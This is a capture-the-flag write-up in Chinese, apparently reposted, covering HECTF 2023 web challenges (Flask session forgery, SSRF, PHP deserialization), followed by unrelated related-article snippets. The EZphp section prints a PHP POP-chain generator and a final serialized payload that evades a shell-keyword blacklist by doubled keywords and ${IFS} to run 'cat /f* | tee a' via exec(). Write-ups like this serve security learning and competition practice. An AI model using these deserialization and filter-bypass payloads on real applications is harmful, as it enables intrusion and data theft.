【wp】2023第七届HECTF信息安全挑战赛 Web

伪装者

考点:http协议+flask的session伪造+ssrf读取文件

 首先根据题目要求就行伪造HTTP

这里不多说,比较基础 然后下面得到是个登入 页面,我们输入zxk1ing

得到 说什么要白马王子 ,一眼session伪造

看到ey开头感觉是jwt 输入看看

得到key 那就直接flask session伪造就行

看到ey开头感觉是jwt 输入看看

得到key 那就直接flask session伪造就行

然后我们就得到 flag在这个路径下 试了下伪协议读取无果,发现有个url读取

测试一下ssrf读取 成功获得flag 

EZphp 

考点: 生成伪随机数 +PHP反序列化+命令执行的过滤绕过

 首先进行抓包发现如下数据

根据 rand()? seed 看来就是根据seed这个种子来生成伪随机数来进行传参

我们写个脚本

<?php
mt_srand(1442660857);for($i=0;$i<1000;$i++){echo mt_rand()."\n";}

然后将生产的数 做成一个字典进行爆破

 

得到 Unablet0guess.php  访问得到PHP反序列化

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);class GGbond{public $candy;public function __call($func,$arg){$func($arg);}public function __toString(){return $this->candy->str;}
}class unser{public $obj;public $auth;public function __construct($obj,$name){$this->obj = $obj;$this->obj->auth = $name;}public function __destruct(){$this->obj->Welcome();}
}class HECTF{public $cmd;public function __invoke(){if($this->cmd){$this->cmd = preg_replace("/ls|cat|tac|more|sort|head|tail|nl|less|flag|cd|tee|bash|sh|&|^|>|<|\.| |'|`|\(|\"/i","",$this->cmd);}exec($this->cmd);}
}class heeectf{public $obj;public $flag = "Welcome";public $auth = "who are you?";public function Welcome(){if(unserialize($this->auth)=="zxk1ing"){$star = implode(array($this->obj,"⭐","⭐","⭐","⭐","⭐"));echo $star;}elseecho 'Welcome HECTF! Have fun!';}public function __get($get){$func = $this->flag;return $func();}
}new unser(new heeectf(),"user");$data = $_POST['data'];
if(!preg_match('/flag/i',$data))unserialize($data);
elseecho "想干嘛???"; Welcome HECTF! Have fun!

 这里的触发过程不难 ,难的是heeectf里面的一些考点,先找出口函数在HECTF里面的exec(),然后 就通过反推形成一条POP链:

unser.__destruct()->heeectf.welcome().->GGbond.__toString>heeectf.__get($get)>HECTF.__invoke()

这里注意的welcome()函数里面

这个条件为真,那么 auth就要被赋值为序列化后的zxk1ing 

 所以为:

"s:7:\"zxk1ing\";"

 然后,第二点,在传参当中,存在一个if(!preg_match('/flag/i',$data)),因此,这里需要16进制绕过即可,具体方法就是前面的s大写,之后将f变为\66即可,这样就可以识别16进制编码了

最后

 这里的绕过就采用双写绕过 空格使用${IFS} ,因为exec输出无回显 所以我们使用tee命令进行传输flag进行解题

咱们可以通过如下来验证代码是否正确

输入进去进行,如果左上角转了3s则成功

所以最终的代码:

<?phpclass GGbond{public $candy;}class unser{public $obj;public $auth="s:7:\"zxk1ing\";";}class HECTF{public $cmd = "cat /f* | tee a";
}class heeectf{public $obj;public $flag = "Welcome";public $auth = "s:7:\"zxk1ing\";";}
echo "<br/>";
$a = new unser(new HECTF(),"s:7:\"zxk1ing\";");
$a -> obj = new heeectf();
$a -> obj -> obj = new GGbond();
$a -> obj -> obj -> candy = new heeectf();
$a -> obj -> obj -> candy -> flag = new HECTF();
echo serialize($a);

得到 

O:5:"unser":2:{s:3:"obj";O:7:"heeectf":3:{s:3:"obj";O:6:"GGbond":1:{s:5:"candy";O:7:"heeectf":3:{s:3:"obj";N;s:4:"flag";O:5:"HECTF":1:{s:3:"cmd";s:21:"ccatat /f* | tteeee B";}s:4:"auth";s:14:"s:7:"zxk1ing";";}}s:4:"flag";s:7:"Welcome";s:4:"auth";s:14:"s:7:"zxk1ing";";}s:4:"auth";s:14:"s:7:"zxk1ing";";}

 产生的payload经过 16进制绕过 ,双写绕过 空格绕过 得到下面最终payload

data=O:5:"unser":2:{s:3:"obj";O:7:"heeectf":3:{s:3:"obj";O:6:"GGbond":1:{s:5:"candy";O:7:"heeectf":3:{s:3:"obj";N;S:4:"\66lag";O:5:"HECTF":1:{s:3:"cmd";s:41:"ccatat${IFS}/f*${IFS}|${IFS}tteeee${IFS}a";}s:4:"auth";s:14:"s:7:"zxk1ing";";}}S:4:"\66lag";s:7:"Welcome";s:4:"auth";s:14:"s:7:"zxk1ing";";}s:4:"auth";s:14:"s:7:"zxk1ing";";}

然后传入访问a路径得到a文件 下载打开就为flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/149806.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

通达信的ebk文件

我们在通达信软件中 调出 “自定义板块设置” 这个菜单&#xff0c;点击“导出”&#xff0c;会提示你存储 “自选股.EBK”&#xff0c;其实就是对自定义板块里的目录进行备份的一种方式&#xff0c; 当我们打开 这个文件&#xff0c;你会发现其实就是存储了 股票代码&#xff…

CRM系统定制开发价格

我们都知道&#xff0c;CRM系统对企业有着很大的帮助。但是市面上大多数CRM系统都是标准化的&#xff0c;无法满足那些产品线复杂&#xff0c;或者有着特殊需求的企业。这个时候&#xff0c;就需要对CRM系统进行二次开发。那么&#xff0c;CRM系统二次开发的价格是多少&#xf…

快手运营的必备的10个工具

一、引言 快手作为短视频领域的佼佼者&#xff0c;为众多创作者提供了广阔的舞台。要想在快手运营中取得成功&#xff0c;掌握一些必备的工具是必不可少的。本文将为您介绍快手运营的10个必备工具&#xff0c;帮助您提高工作效率&#xff0c;优化内容创作。 二、工具推荐 1. …

Linux(4):Linux文件与目录管理

目录与路径 相对路径在进行软件或软件安装时非常有用&#xff0c;更加方便。利用相对路径的写法必须要确认目前的路径才能正确的去到想要去的目录。 绝对路径的正确度要比相对路径好&#xff0c;因此&#xff0c;在写程序&#xff08;shell scripts&#xff09;来管理系统的条…

centos oracle11g开启归档模式

要在 CentOS 上停止 Oracle 11g 数据库&#xff0c;你可以按照以下步骤操作&#xff1a; 1.登录到操作系统 首先&#xff0c;使用具有足够权限的用户登录到 CentOS 操作系统。通常情况下&#xff0c;你需要以具有 oracle 用户权限的用户登录。 使用 SYSDBA 权限连接到数据库…

装备中国功勋企业——兰石重装,建设LTC全流程管理|基于得帆云低代码的CRM案例系列

兰石重型装备股份有限公司 兰石重型装备股份有限公司&#xff08;以下简称“兰石重装”&#xff09;成立于2001年&#xff0c;经营范围为炼油、化工、核电等能源领域所需的装备的设计、制造、安装、成套与服务&#xff1b;工程项目建设与服务&#xff1b;机械加工&#xff1b;检…

通过多线程的方式每次发送10条MQ消息

背景&#xff1a;传入一个List<person>,不知道list中有多少条数据。 import org.apache.rocketmq.client.producer.DefaultMQProducer; import org.apache.rocketmq.client.producer.Message; import org.apache.rocketmq.client.producer.SendResult;import java.util.A…

安全+Linux!IBM新一代大型机Z14全新发布

导读本周&#xff0c;以“架构 人机同行”为主题的IBM Systems创行者高峰论坛在北京召开&#xff0c;IBM全球及大中华区硬件系统部负责人&#xff0c;金融、医疗、制造等领域的企业、合作伙伴共与这一年度盛会&#xff0c;探讨认知时代下的基础架构技术趋势及IBM硬件系统业务的…

微积分在神经网络中的本质

calculus 在一个神经网络中我们通常将每一层的输出结果表示为&#xff1a; a [ l ] a^{[l]} a[l] 为了方便记录&#xff0c;将神经网络第一层记为&#xff1a; [ 1 ] [1] [1] 对应的计算记录为为&#xff1a; a [ l ] &#xff1a; 第 l 层 a [ j ] &#xff1a; 第 j 个神经…

树莓派通过网线连接电脑(校园网也能连接),实现SSH连接

前言 之前通过串口登入树莓派&#xff0c;太麻烦&#xff0c;通过网络登入树莓派&#xff0c;学校校园网又连接不了&#xff0c;想起来可以使用网线连接树莓派和电脑。 目录 树莓派通过网线连接电脑思路分析 树莓派通过网线连接电脑实现 1.硬件需求 2.打开Windows的网络 …

servlet乱码问题

问题&#xff1a;中文乱码 解决&#xff1a;加框的部分

python 自动化福音,30行代码手撸ddt模块

用 python 做过自动化的小伙伴&#xff0c;大多数都应该使用过 ddt 这个模块&#xff0c;不可否认 ddt 这个模块确实挺好用&#xff0c;可以自动根据用例数据&#xff0c;来生成测试用例&#xff0c;能够很方便的将测试数据和测试用例执行的逻辑进行分离。 接下来就带大家一起…

Ubuntu22.04 Apache2安装SSL证书 https

一、免费证书申请 https://help.aliyun.com/zh/ssl-certificate/user-guide/overview-of-free-certificates 得到 三、配置 执行以下命令&#xff0c;打开default-ssl.conf文件。 vim /etc/apache2/sites-available/default-ssl.conf 在default-ssl.conf配置文件中&#xff…

深度学习中对抗生成网络GAN背后的数学原理

引言 GAN的风暴席卷了整个深度学习圈子&#xff0c;任何任务似乎套上GAN的壳子&#xff0c;立马就变得高大上了起来。那么&#xff0c;GAN究竟是什么呢&#xff1f; GAN的主要应用目标&#xff1a; 生成式任务&#xff08;生成、重建、超分辨率、风格迁移、补全、上采样等&a…

27岁想转行IT,还来得及吗?

“种一棵树最好的时间是十年前&#xff0c;其次是现在&#xff01; ” 任何时候&#xff0c;只要开始&#xff0c;一切都来得及&#xff0c;如果你真的想要转行&#xff0c;何时都不会晚&#xff0c;只要你付出相应的努力&#xff0c;坚持下去&#xff0c;一切都会朝着自己希望…

大数据可视化Echarts基础快速入门

目录 一、什么是Ehcarts&#xff1f; 二、如何使用Echarts &#xff08;1&#xff09;引入Echarts的js文件 &#xff08;2&#xff09;查看文档&#xff0c;根据文档编写代码 一、什么是Ehcarts&#xff1f; 首先我们要知道什么数据可视化。什么是数据可视化&#xff1f;…

go-zero微服务的使用

一、入门案例 1、使用goland创建一个工程 2、新建一个user.proto syntax "proto3";package user; // 这个地方表示生成的go的包名叫user option go_package "./user";message UserInfoRequest {int64 userId 1; }message UserInfoResponse {int64 user…

医生ai数字人线上应用有效缓解了医疗资源不均的问题

元宇宙时代的到来将成为疾病诊疗“赋能器”&#xff0c;尤其对于为医疗诊断决策、诊疗方案选择、治疗过程展示等医疗服务的核心环节提供技术和手段&#xff0c;实现身临其境的疾病感知、深度沉浸的诊疗认知&#xff0c;让疾病诊治的效果更好、效率更高。AI医生是我们弥补医疗资…

深度学习人体跌倒检测 -yolo 机器视觉 opencv python 计算机竞赛

0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; **基于深度学习的人体跌倒检测算法研究与实现 ** 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐&#xff01; &#x1f947;学长这里给一个题目综合评分(每项满…

linux c与c++库互相调用

C++可以兼容C的语法,C/C++主要的区别是编译函数符号规则不一样,C语言代码编译后的函数名还是原来函数名,C++代码编译后的函数名带有参数信息。 两种语言生成的库是无法直接互相调用的,原因在于c++支持重载,因此存在改名机制(也可能是因为有改名机制所以支持重载 ,即生成…